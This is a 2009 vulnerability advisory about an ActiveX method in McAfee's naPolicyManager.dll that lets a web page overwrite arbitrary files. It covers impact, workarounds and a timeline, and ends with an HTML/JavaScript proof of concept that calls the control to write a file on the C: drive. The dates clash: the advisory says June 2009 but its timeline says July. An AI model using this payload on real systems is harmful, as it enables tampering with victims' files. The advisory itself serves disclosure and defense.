GOODFELLAS Security Research TEAM
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McAfee, Inc. 3.6.0.608 Policy Manager naPolicyManager.dll Arbitrary Data Write
==============================================================================
Internal ID: VULWAR20090616.
-----------
Introduction
------------
naPolicyManager.dll is a library included in the Program Mc Afee inc.
Tested In
---------
- Windows XP SP1/SP2 french/english with IE 6.0 / 7.0.
Summary
-------
The WriteTaskDataToIniFile method doesn't check if it's being called from the
application or from a malicious user. A Remote Attacker could craft a
html page and overwrite arbitrary files in a system.
Impact
------
The vulnerability could allow malicious users to write arbitrary data on a
vulnerable system that uses this software.
Workaround
----------
- Activate the Kill bit zero in the clsid corresponding to the software.
- Unregister naPolicyManager.dll using regsvr32.
Timeline
--------
July 16 2009 -- Bug Discovery.
July 16 2009 -- POC published.
Credits
-------
* callAX <bemariani@gmail.com>
Technical Details
-----------------
WriteTaskDataToIniFile method receives one argument filename in this format
"c:\path\file".
Proof of Concept
---------------
<HTML>
<BODY>
<object id=ctrl classid="clsid:{04D18721-749F-4140-AEB0-CAC099CA4741}"></object>
<SCRIPT>
function Do_1t()
{
File = "C:\b00t.ini"
ctrl.WriteTaskDataToIniFile(File)
}
</SCRIPT>
<input language=JavaScript onclick=Do_1t() type=button value="P0c">
</BODY>
</HTML>
# milw0rm.com [2009-06-16]
